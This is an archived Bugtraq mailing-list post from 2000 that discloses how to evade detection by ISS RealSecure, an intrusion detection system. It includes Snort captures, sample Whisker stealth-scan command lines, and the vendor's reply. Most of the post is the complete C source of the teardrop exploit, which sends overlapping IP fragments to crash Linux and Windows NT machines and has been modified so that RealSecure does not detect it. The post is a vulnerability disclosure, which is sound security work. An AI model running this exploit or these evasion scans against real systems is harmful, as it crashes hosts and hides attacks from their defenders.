Home page logo
/

bugtraq logo Bugtraq mailing list archives

Security problem with ISS RealSecure
From: Stephane.Aubert () HSC FR (Stephane Aubert)
Date: Tue, 29 Feb 2000 10:58:58 +0100


Hello,

Playing around with ISS RealSecure, a well known network intrusion detection
system (NIDS), we have encountered the following security problems:

  o It is possible to bypass the detection of TearDrop, SynDrop, NewTear
    or Targa DOS attacks.

  o Some of Whisker evading modes are still/really effective i.e. it is possible
    to stealth scan a web server for CGIs.

This has been tested on ISS RealSecure version 3.2.1999.343 on Windows NT.

1. Teardrop signature in RealSecure

For example, the original/public teardrop.c version exploits the overlapping
IP fragment bug by sending 2 IP fragments. The ID field of the 2 IP fragments
is not involved in the attack and was fixed to 242 (why not ? ;-) ):

   *((u_short *)p_ptr) = htons(242);   /* IP id */

By changing this value from 242 to 666 (it can be a random number),
RealSecure won't detect teardrop attacks.

The only field changed is the ID field of the IP fragment. Using Snort you can
also sniff the network:

 Original teardrop (detected):
   02/11-09:37:03.822772 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:242  MF
   Frag Offset: 0x0   Frag Size: 0x24

   02/11-09:37:03.822829 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:242
   Frag Offset: 0x3   Frag Size: 0x4

 Modified teardrop (NOT detected):
   02/11-09:37:07.967350 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:666  MF
   Frag Offset: 0x0   Frag Size: 0x24

   02/11-09:37:07.968076 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:666
   Frag Offset: 0x3   Frag Size: 0x4

2. Whisker evading modes vs. RealSecure

Stealth scan can be done using Whisker v1.3.0a and the HEAD method.
It is also possible to use the GET method (-M 2), in that case you
must use an evading mode (0, 6 or both) to avoid detection.

  Examples:
    ./whisker.pl -h xxx.yyy.zzz.ttt -I 1246
    ./whisker.pl -h xxx.yyy.zzz.ttt -I 0 -M 2
    ./whisker.pl -h xxx.yyy.zzz.ttt -I 6 -M 2
    ./whisker.pl -h xxx.yyy.zzz.ttt -I 60 -M 2

3. ISS has been made aware of the issue and is looking into its details.

We sent the above information to ISS by email 15 days ago; here is their answer:

  "Thanks for your in depth analysis of our RealSecure Teardrop signature. We
  rarely get such detailed reports and they are very much appreciated. Now
  that we are aware of the issue, we've logged this as a bug so we can address
  it in an upcoming release.

  We haven't tested RealSecure against Whisker, but now that brought this to
  our attention we can add it to our product test plan. We work very hard to
  test our products against as many known attacks as possible and information
  like this allows us to improve our test plan with every release.

  Please feel free to provide us feedback like this in the future as it helps
  us make a better product for all our customers."

Regards,
Stephane

--
Stephane AUBERT                   -=-      Herve Schauer Consultants
Email: Stephane.Aubert () hsc fr                    http://www.hsc.fr/

* Links

  ISS RealSecure : http://solutions.iss.net/products/rsecure/rs_checks.php
  Snort : http://www.clark.net/~roesch/security.html
  Whisker : http://www.wiretrip.net/rfp/
  Teardrop, Targa, and so on : http://packetstorm.securify.com/DoS/

* Demonstration program

/*
 *  Copyright (c) 1997 route|daemon9  <route () infonexus com> 11.3.97
 *
 *  Linux/NT/95 Overlap frag bug exploit
 *
 *  Exploits the overlapping IP fragment bug present in all Linux kernels and
 *  NT 4.0 / Windows 95 (others?)
 *
 *  Based off of:   flip.c by klepto
 *  Compiles on:    Linux, *BSD*
 *
 *  Modification : Stephane Aubert and Denis Ducamp
 *  Date : 14/02/2000
 *  (c) Herve Schauer Consultants 2000
 *  Description : change ID field to bypass ISS RealSecure
 *
 *
 *  gcc -O2 teardrop.c -o teardrop
 *      OR
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                         * withstand maybe 5 or 10 sometimes...  Experiment.
                         */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short,long);

int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;
    long ip_mf;

    fprintf(stderr, "teardrop   route|daemon9\\n\\n");

    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }
    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\\n");
        exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }
    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;

    fprintf(stderr, "Death on flaxen wings:\\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d\\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\\n", count);
    fprintf(stderr, "[ ");
    ip_mf = 0x2000;
    for (i = 0; i < COUNT; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf);
        fprintf(stderr, "b00m:%x ",ip_mf);
        usleep(500);
        ip_mf += 0x10;
    }
    fprintf(stderr, "]\\n");
    return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an implementation
 *  independent way of assembling network packets that does not rely on any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt, long ip_mf)
{
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */

    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    /*
     * Grab some memory for our packet, align p_ptr to point at the beginning
     * of our packet, and then fill it with zeros.
     */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
    p_ptr += 2;
    /* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */
    *((u_short *)p_ptr) = htons(666);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(ip_mf);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\\nsendto");
        free(packet);
        exit(1);
    }

    /*  We set the fragment offset to be inside of the previous packet's
     *  payload (it overlaps inside the previous packet) but do not include
     *  enough payload to cover complete the datagram.  Just the header will
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work
     *  better.
     */
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\\n",
            name);
    exit(0);
}



  By Date           By Thread  

Current thread:
  • Security problem with ISS RealSecure Stephane Aubert (Feb 29)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault